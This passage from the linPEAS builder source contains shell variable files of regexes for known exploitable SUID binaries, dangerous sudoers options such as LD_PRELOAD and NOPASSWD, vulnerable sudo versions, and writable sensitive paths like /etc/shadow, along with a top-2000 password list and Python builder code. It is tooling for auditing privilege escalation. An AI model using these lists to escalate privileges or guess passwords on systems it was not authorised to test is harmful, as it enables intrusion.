/rdist$%Solaris_10/OpenSolaris\ /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\(09-2015\)\ /screen$%GNU_Screen_4.5.0\ /sdtcm_convert$%Sun_Solaris_7.0\ /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_\(SGI_ProPack_1.2/1.3\)\ /snap-confine$%Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation\(CVE-2019-7304\)\ /sudo%check_if_the_sudo_version_is_vulnerable\ /Serv-U%FTP_Server<15.1.7(CVE-2019-12181)\ /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/\(RHEL_5/6/7/Ubuntu\)/Sudo<=1.8.14\ /tmux$%Tmux_1.3_1.4_privesc\(CVE-2011-1496\)\ /traceroute$%LBL_Traceroute_\[2000-11-15\]\ /ubuntu-core-launcher$%Befre_1.0.27.1\(CVE-2016-1580\)\ /umount$%BSD/Linux\(08-1996\)\ /umount-loop$%Rocks_Clusters<=4.1\(07-2006\)\ /uucp$%Taylor_UUCP_1.0.6\ /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\(03-2003\)\ /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\(04-1997\)\ /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\ /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/sidG.sh ================================================ # Title: Variables - sidG1 # ID: sidG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known SUID files # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $sidG1, $sidG2, $sidG3, $sidG4 # Fat linpeas: 0 # Small linpeas: 1 sidG1="/abuild-sudo$|/accton$|/allocate$|/ARDAgent$|/arping$|/atq$|/atrm$|/authpf$|/authpf-noip$|/authopen$|/batch$|/bbsuid$|/bsd-write$|/btsockstat$|/bwrap$|/cacaocsc$|/camel-lock-helper-1.2$|/ccreds_validate$|/cdrw$|/chage$|/check-foreground-console$|/chrome-sandbox$|/chsh$|/cons.saver$|/crontab$|/ct$|/cu$|/dbus-daemon-launch-helper$|/deallocate$|/desktop-create-kmenu$|/dma$|/dma-mbox-create$|/dmcrypt-get-device$|/doas$|/dotlockfile$|/dotlock.mailutils$|/dtaction$|/dtfile$|/eject$|/execabrt-action-install-debuginfo-to-abrt-cache$|/execdbus-daemon-launch-helper$|/execdma-mbox-create$|/execlockspool$|/execlogin_chpass$|/execlogin_lchpass$|/execlogin_passwd$|/execssh-keysign$|/execulog-helper$|/exim4|/expiry$|/fdformat$|/fstat$|/fusermount$|/fusermount3$" sidG2="/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnometris$|/gnomine$|/gnotski$|/gnotravex$|/gpasswd$|/gpg$|/gpio$|/gtali|/.hal-mtab-lock$|/helper$|/imapd$|/inndstart$|/kismet_cap_nrf_51822$|/kismet_cap_nxp_kw41z$|/kismet_cap_ti_cc_2531$|/kismet_cap_ti_cc_2540$|/kismet_cap_ubertooth_one$|/kismet_capture$|/kismet_cap_linux_bluetooth$|/kismet_cap_linux_wifi$|/kismet_cap_nrf_mousejack$|/ksu$|/list_devices$|/load_osxfuse$|/locate$|/lock$|/lockdev$|/lockfile$|/login_activ$|/login_crypto$|/login_radius$|/login_skey$|/login_snk$|/login_token$|/login_yubikey$|/lpc$|/lpd$|/lpd-port$|/lppasswd$|/lpq$|/lpr$|/lprm$|/lpset$|/lxc-user-nic$|/mahjongg$|/mail-lock$|/mailq$|/mail-touchlock$|/mail-unlock$|/mksnap_ffs$|/mlocate$|/mlock$|/mount$|/mount.cifs$|/mount.ecryptfs_private$|/mount.nfs$|/mount.nfs4$|/mount_osxfuse$|/mtr$|/mutt_dotlock$" sidG3="/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/hping3$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$" sidG4="/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/sidVB.sh ================================================ # Title: Variables - sidVB # ID: sidVB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Very dangerous sid binaries # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $sidVB, $sidVB2 # Fat linpeas: 0 # Small linpeas: 1 sidVB='peass{SUIDVB1_HERE}' sidVB2='peass{SUIDVB2_HERE}' ================================================ FILE: linPEAS/builder/linpeas_parts/variables/sudoB.sh ================================================ # Title: Variables - sudoB # ID: sudoB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known dangerous sudoers configs # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $sudoB # Fat linpeas: 0 # Small linpeas: 1 sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount|/restic|/usermod|/sbin/ldconfig|/usr/sbin/ldconfig|ldconfig -f|--password-command|--password-file|-o ProxyCommand|-o PreferredAuthentications" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/sudoG.sh ================================================ # Title: Variables - sudo # ID: sudoG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Good sudoers configuration # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $sudoG # Fat linpeas: 0 # Small linpeas: 1 sudoG="NOEXEC" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/sudoVB1.sh ================================================ # Title: Variables - sudoVB1 # ID: sudoVB1 # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Very bad sudoers configuration # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $sudoVB1, $sudoVB2 # Fat linpeas: 0 # Small linpeas: 1 sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|env_keep\W*\+=.*BASH_ENV|env_keep\W*\+=.* ENV|env_keep\W*\+=.*PATH|!env_reset|!requiretty|peass{SUDOVB1_HERE}" sudoVB2="peass{SUDOVB2_HERE}" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/sudovB.sh ================================================ # Title: Variables - sudovB # ID: sudovB # Author: Carlos Polop # Last Update: 26-02-2026 # Description: Sudo version bad regex # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $sudovB # Fat linpeas: 0 # Small linpeas: 1 sudovB="[01].[012345678].[0-9]+|1.9.[01234][^0-9]|1.9.[01234]$|1.9.5p1|1\.9\.[6-9]|1\.9\.1[0-6]|1\.9\.17([^p]|$)" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/timersG.sh ================================================ # Title: Variables - timersG # ID: timersG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known good timers # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $timersG # Fat linpeas: 0 # Small linpeas: 1 timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|exim4-base.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/top2000pwds.sh ================================================ # Title: Variables - top2000pwds # ID: top2000pwds # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Top 2000 passwords # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $top2000pwds # Fat linpeas: 0 # Small linpeas: 1 top2000pwds="123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winner charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette apples 12341234 sabrina remember qwer1234 edward dennis cherry sparky natasha arthur vanessa marina leonardo johnny dallas antonio winston \ snickers olivia nothing iceman destiny coffee apollo 696969 windows williams school madison dakota angelina anderson 159753 1111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberly gateway bailey 00000000 snowball scooby nikita falcon august test123 sebastian panther love johnson godzilla genesis brandy adidas zxcvbn wizard porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight yankees wilson warrior simple nelson muffin charlotte calvin spencer newyork florida fernando claudia basketball barcelona 87654321 willow stupid samson police paradise motorola manager jaguar jackie family doctor bullshit brooklyn tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker darkness cristina colorado boomer alexandra steelers serenity please montana mitchell marcus lollipop jessie happy cowboy 102030 marshall jupiter jeremy gibson fucker barbara adrian 1qazxsw2 12344321 11111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo people pamela marvin jackass google fender asdfghjk Password 1q2w3e4r5t zaq12wsx scotland phantom hercules fluffy explorer alexis walter trouble tester qwerty1 melanie manchester gordon firebird engineer azerty 147258 virginia tiger simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies barbie xavier unicorn superstar \ stephen rangers orlando money domino courtney viking tucker travis scarface pavilion nicolas natalie gandalf freddy donald captain abcdefgh a1b2c3d4 speedy peter nissan loveyou harrison friday francis dancer 159357 101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico guinness georgia california sweety logitech julian hotdog emmanuel butter beatles 11223344 tristan sydney spirit october mozart lolita ireland goldfish eminem douglas cowboys control cheyenne alex testtest stargate raiders microsoft diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 pass maryjane lincoln willie teacher pierre michael1 leslie lawrence kristina kawasaki drowssap college blahblah babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxedc magnum lovers liberty gregory 232323 twilight timothy swimming super stardust sophia sharon robbie predator penelope michigan margaret jesus hawaii green brittany brenda badger a1b2c3 444444 winnie wesley voodoo skippy shithead redskins qwertyu pussycat houston horses gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 violet tweety spanky shamrock red123 rascal melody joanna hello1 driver bluebird biteme atlantis arnold apple alison taurus random pirate monitor maria lizard kevin hummer holland buffalo 147258369 007007 valentine roberto potter magnolia juventus indigo indian harvey duncan diamonds daniela christopher bradley bananas warcraft sunset simone renegade \ redsox philip monday mohammed indiana energy bond007 avalon terminator skipper shopping scotty savannah raymond morris mnbvcxz michele lucky lucifer kingdom karina giovanni cynthia a123456 147852 12121212 wildcats ronald portugal mike helpme froggy dragons cancer bullet beautiful alabama 212121 unknown sunflower sports siemens santiago kathleen hotmail hamster golfer future father enterprise clifford christina camille camaro beauty 55555555 vision tornado something rosemary qweasd patches magic helena denver cracker beaver basket atlanta vacation smiles ricardo pascal newton jeffrey jasmin january honey hollywood holiday gloria element chandler booger angelo allison action 99999999 target snowman miguel marley lorraine howard harmony children celtic beatrice airborne wicked voyager valentin thx1138 thumper samurai moonlight mmmmmm karate kamikaze jamaica emerald bubble brooke zombie strawberry spooky software simpson service sarah racing qazxsw philips oscar minnie lalala ironman goddess extreme empire elaine drummer classic carrie berlin asdfg 22222222 valerie tintin therock sunday skywalker salvador pegasus panthers packers network mission mark legolas lacrosse kitty kelly jester italia hiphop freeman charlie1 cardinal bluemoon bbbbbb bastard alyssa 0123456789 zeppelin tinker surfer smile rockstar operator naruto freddie dragonfly dickhead connor anaconda amsterdam alfred a12345 789456123 77777777 trooper skittles shalom raptor pioneer personal ncc1701 nascar music kristen kingkong global geronimo germany country christmas bernard benson wrestling warren techno sunrise stefan sister savage russell robinson oracle millie maddog lightning kingston kennedy hannibal garcia download dollar darkstar brutus bobby autumn webster vanilla undertaker tinkerbell sweetpea ssssss softball rafael panasonic pa55word keyboard isabel hector fisher dominic darkside cleopatra blue assassin amelia vladimir roland \ nigger national monique molly matthew1 godfather frank curtis change central cartman brothers boogie archie warriors universe turkey topgun solomon sherry sakura rush2112 qwaszx office mushroom monika marion lorenzo john herman connect chopper burton blondie bitch bigdaddy amber 456789 1a2b3c4d ultimate tequila tanner sweetie scott rocky popeye peterpan packard loverboy leonard jimmy harry griffin design buddha 1 wallace truelove trombone toronto tarzan shirley sammy pebbles natalia marcel malcolm madeline jerome gilbert gangster dingdong catalina buddy blazer billy bianca alejandro 54321 252525 111222 0000 water sucker rooster potato norton lucky1 loving lol123 ladybug kittycat fuck forget flipper fireman digger bonjour baxter audrey aquarius 1111111111 pppppp planet pencil patriots oxford million martha lindsay laura jamesbond ihateyou goober giants garden diana cecilia brazil blessing bishop bigdog airplane Password1 tomtom stingray psycho pickle outlaw number1 mylove maurice madman maddie lester hendrix hellfire happy1 guardian flamingo enter chichi 0987654321 western twister trumpet trixie socrates singer sergio sandman richmond piglet pass123 osiris monkey1 martina justine english electric church castle caesar birdie aurora artist amadeus alberto 246810 whitney thankyou sterling star ronnie pussy printer picasso munchkin morpheus madmax kaiser julius imperial happiness goodluck counter columbia campbell blessed blackjack alpha 999999999 142536 wombat wildcat trevor telephone smiley saints pretty oblivion newcastle mariana janice israel imagine freedom1 detroit deedee darren catfish adriana washington warlock valentina valencia thebest spectrum skater sheila shaggy poiuyt member jessica1 jeremiah jack insane iloveu handsome goldberg gabriela elijah damien daisy buttons blabla bigboy apache anthony1 a1234567 xxxxxxxx toshiba tommy sailor peekaboo motherfucker montreal manuel madrid kramer \ katherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat bentley account 321321 2222 1a2b3c thompson theman strike stacey science running research polaris oklahoma mariposa marie leader julia island idontknow hitman german felipe fatcat fatboy defender applepie annette 010203 watson travel sublime stewart steve squirrel simon sexy pineapple phoebe paris panzer nadine master1 mario kelsey joker hongkong gorilla dinosaur connie bowling bambam babydoll aragorn andreas 456123 151515 wolves wolfgang turner semperfi reaper patience marilyn fletcher drpepper dorothy creation brian bluesky andre yankee wordpass sweet spunky sidney serena preston pauline passwort original nightmare miriam martinez labrador kristin kissme henry gerald garrett flash excalibur discovery dddddd danny collins casino broncos brendan brasil apple123 yvonne wonder window tomato sundance sasha reggie redwings poison mypassword monopoly mariah margarita lionking king football1 director darling bubba biscuit 44444444 wisdom vivian virgin sylvester street stones sprite spike single sherlock sandy rocker robin matt marianne linda lancelot jeanette hobbes fred ferret dodger cotton corona clayton celine cannabis bella andromeda 7654321 4444 werewolf starcraft sampson redrum pyramid prodigy paul michel martini marathon longhorn leopard judith joanne jesus1 inferno holly harold happy123 esther dudley dragon1 darwin clinton celeste catdog brucelee argentina alpine 147852369 wrangler william1 vikings trigger stranger silvia shotgun scarlett scarlet redhead raider qweasdzxc playstation mystery morrison honda february fantasia designer coyote cool bulldogs bernie baby asdfghj angel1 always adam 202020 wanker sullivan stealth skeeter saturday rodney prelude pingpong phillip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar \ charmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \ andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \ plymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/usrs_sh.sh ================================================ # Title: Variables - Users with and withuot shell # ID: usrs_sh # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check for users with and without shell # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: $sh_usrs, $nosh_usrs, $ushell, $uname # Fat linpeas: 0 # Small linpeas: 1 if [ "$MACPEAS" ]; then sh_usrs="ImPoSSssSiBlEee" nosh_usrs="ImPoSSssSiBlEee" dscl . list /Users | while read uname; do ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) if grep -q \"$ushell\" /etc/shells; then sh_usrs="$sh_usrs|$uname"; else nosh_usrs="$nosh_usrs|$uname"; fi done else sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[[:space:]:]|^bin$|/' | sed 's/|sys|/|sys[[:space:]:]|^sys$|/' | sed 's/|daemon|/|daemon[[:space:]:]|^daemon$|/')"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" | sort | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[[:space:]:]|^bin$|/')"ImPoSSssSiBlEee" fi ================================================ FILE: linPEAS/builder/linpeas_parts/variables/writeB.sh ================================================ # Title: Variables - writeB # ID: writeB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dnagerous files that could be written by the current user # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $writeB # Fat linpeas: 0 # Small linpeas: 1 writeB="00-header|10-help-text|50-motd-news|80-esm|91-release-upgrade|\.sh$|\./|/authorized_keys|/bin/|/boot/|/etc/apache2/apache2.conf|/etc/apache2/httpd.conf|/etc/hosts.allow|/etc/hosts.deny|/etc/httpd/conf/httpd.conf|/etc/httpd/httpd.conf|/etc/inetd.conf|/etc/incron.conf|/etc/login.defs|/etc/logrotate.d/|/etc/modprobe.d/|/etc/pam.d/|/etc/php.*/fpm/pool.d/|/etc/php/.*/fpm/pool.d/|/etc/rsyslog.d/|/etc/skel/|/etc/sysconfig/network-scripts/|/etc/sysctl.conf|/etc/sysctl.d/|/etc/uwsgi/apps-enabled/|/etc/xinetd.conf|/etc/xinetd.d/|/etc/|/home//|/lib/|/log/|/mnt/|/root|/sys/|/usr/bin|/usr/games|/usr/lib|/usr/local/bin|/usr/local/games|/usr/local/sbin|/usr/sbin|/sbin/|/var/log/|\.timer$|\.service$|.socket$" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/writeVB.sh ================================================ # Title: Variables - writeVB # ID: writeVB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Very dangerous files and folders if writable # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $PATH # Initial Functions: # Generated Global Variables: $writeVB # Fat linpeas: 0 # Small linpeas: 1 writeVB="/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/ld.so.preload|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|"$(echo $PATH 2>/dev/null | sed 's/:\.:/:/g' | sed 's/:\.$//g' | sed 's/^\.://g' | sed 's/:/$|^/g') #Add Path but remove simple dot in PATH ================================================ FILE: linPEAS/builder/src/fileRecord.py ================================================ from .yamlGlobals import DEFAULTS, ROOT_FOLDER, COMMON_DIR_FOLDERS, COMMON_FILE_FOLDERS class FileRecord: def __init__(self, regex: str, bad_regex: str=DEFAULTS["bad_regex"], very_bad_regex: str=DEFAULTS["very_bad_regex"], check_extra_path: str =DEFAULTS["check_extra_path"], files: dict={}, good_regex: str=DEFAULTS["good_regex"], just_list_file: bool=DEFAULTS["just_list_file"], line_grep: str=DEFAULTS["line_grep"], only_bad_lines: bool=DEFAULTS["only_bad_lines"], remove_empty_lines: bool=DEFAULTS["remove_empty_lines"], remove_path: str=DEFAULTS["remove_path"], remove_regex: str=DEFAULTS["remove_regex"], search_in: list=DEFAULTS["search_in"], type: str=DEFAULTS["type"], ): self.regex = regex self.bad_regex = bad_regex self.very_bad_regex = very_bad_regex self.check_extra_path = check_extra_path self.files = [FileRecord(regex=fr["name"],**fr["value"]) for fr in files] self.good_regex = good_regex self.just_list_file = just_list_file self.line_grep = line_grep self.only_bad_lines = only_bad_lines self.remove_regex = remove_regex self.remove_empty_lines = remove_empty_lines self.remove_path = remove_path self.type = type self.search_in = self.__resolve_search_in(search_in) def __resolve_search_in(self, search_in): """ Resolve spacial values to the correct directories """ if "all" in search_in: search_in.remove("all") search_in = ROOT_FOLDER if "common" in search_in: search_in.remove("common") if self.type == "d": search_in = list(set(search_in + COMMON_DIR_FOLDERS)) else: search_in = list(set(search_in + COMMON_FILE_FOLDERS)) #Check that folders to search in are specified in ROOT_FOLDER for r in search_in: assert r in ROOT_FOLDER, f"{r} not in {ROOT_FOLDER}" return search_in ================================================ FILE: linPEAS/builder/src/linpeasBaseBuilder.py ================================================ import os from typing import List from .linpeasModule import LinpeasModule, LinpeasModuleList from .yamlGlobals import ( LINPEAS_PARTS, TEMPORARY_LINPEAS_BASE_PATH, PEAS_CHECKS_MARKUP ) class LinpeasBaseBuilder: def __init__(self, all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules): # Everything relevant self.all_modules = self.get_modules(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules) # Only base self.base = self.get_base() # Only checks self.checks = self.get_checks() print(f"[+] {len(self.checks)} checks located") # Only functions sorted self.functions = self.get_functions() # Only variables sorted self.variables = self.get_variables() self.linpeas_base = "" def build(self): print("[+] Building temporary linpeas_base.sh with the indicated modules...") # Add base code for base in self.base: self.linpeas_base += base.sh_code.strip() + "\n\n" # Add variables self.linpeas_base += "\n\n\n# Variables\n\n" for variable in self.variables: if "Checks pre-everything" in variable.sh_code: a=1 self.linpeas_base += variable.sh_code.strip() + "\n\n" self.linpeas_base += "\n\n\n# Functions\n\n" # Add functions for function in self.functions: self.linpeas_base += function.sh_code.strip() + "\n\n" self.linpeas_base += "\n\n\n# Checks\n\n" section_checks = {} check_names = [] for check in self.checks: # Get the section of the check for part_mod in LINPEAS_PARTS["modules"]: if part_mod["folder_path"] in check.path: if part_mod["name"] not in section_checks: section_checks[part_mod["name"]] = part_mod section_checks[part_mod["name"]]["checks"] = 